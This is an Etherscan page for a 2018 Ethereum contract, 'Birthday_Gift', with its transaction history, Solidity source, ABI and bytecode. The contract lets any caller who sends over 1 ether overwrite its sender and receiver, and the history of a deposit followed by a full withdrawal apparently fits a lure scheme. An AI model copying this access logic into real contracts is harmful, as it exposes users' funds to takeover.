ETH Price: $2,017.33 (+2.94%)

Contract

0x930DfbDc5E9f1984A8d87DE29d6A79FBb2bB7B32
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Get Gift55339202018-04-30 20:06:412870 days ago1525118801IN
0x930DfbDc...Bb2bB7B32
0 ETH0.000078012.6
Put Gift55320562018-04-30 12:15:322870 days ago1525090532IN
0x930DfbDc...Bb2bB7B32
1.00002324 ETH0.00006562.8
Get Gift55320172018-04-30 12:05:552870 days ago1525089955IN
0x930DfbDc...Bb2bB7B32
0 ETH0.000130526
Transfer55320062018-04-30 12:01:502870 days ago1525089710IN
0x930DfbDc...Bb2bB7B32
0.0012 ETH0.000084164
Get Gift55320022018-04-30 12:00:232870 days ago1525089623IN
0x930DfbDc...Bb2bB7B32
0 ETH0.000108775

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer55339202018-04-30 20:06:412870 days ago1525118801
0x930DfbDc...Bb2bB7B32
1.00122324 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Birthday_Gift

Compiler Version
v0.4.19+commit.c4cbbb05

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-04-30
*/

pragma solidity ^0.4.19;

contract Birthday_Gift
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}

Contract Security Audit

Contract ABI

API
[{"constant":false,"inputs":[{"name":"_reciver","type":"address"}],"name":"PutGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"CloseGift","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"GetGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_unixTime","type":"uint256"}],"name":"SetGiftTime","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

60606040526001805460a060020a60ff0219169055341561001f57600080fd5b6102468061002e6000396000f3006060604052600436106100615763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663108d40f881146100635780633f7e212014610077578063bea948c81461008a578063dac47a7114610092575b005b610061600160a060020a03600435166100a8565b341561008257600080fd5b610061610138565b61006161019d565b341561009d57600080fd5b6100616004356101fe565b60015474010000000000000000000000000000000000000000900460ff161580156100da5750670de0b6b3a764000034115b806100ee5750600054600160a060020a0316155b156101355760008054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff19928316179092556001805492841692909116919091179055426002555b50565b60005433600160a060020a0390811691161480156101605750600154600160a060020a031615155b1561019b576001805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790555b565b60015433600160a060020a0390811691161480156101bc575060025442115b1561019b5733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561019b57600080fd5b60005433600160a060020a0390811691161415610135576002555600a165627a7a723058202b132d527c8f0f0b01af1b07997b233b7bb632d672f68760debe7e20d369dd8a0029

Deployed Bytecode

0x6060604052600436106100615763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663108d40f881146100635780633f7e212014610077578063bea948c81461008a578063dac47a7114610092575b005b610061600160a060020a03600435166100a8565b341561008257600080fd5b610061610138565b61006161019d565b341561009d57600080fd5b6100616004356101fe565b60015474010000000000000000000000000000000000000000900460ff161580156100da5750670de0b6b3a764000034115b806100ee5750600054600160a060020a0316155b156101355760008054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff19928316179092556001805492841692909116919091179055426002555b50565b60005433600160a060020a0390811691161480156101605750600154600160a060020a031615155b1561019b576001805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790555b565b60015433600160a060020a0390811691161480156101bc575060025442115b1561019b5733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561019b57600080fd5b60005433600160a060020a0390811691161415610135576002555600a165627a7a723058202b132d527c8f0f0b01af1b07997b233b7bb632d672f68760debe7e20d369dd8a0029

Swarm Source

bzzr://2b132d527c8f0f0b01af1b07997b233b7bb632d672f68760debe7e20d369dd8a

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.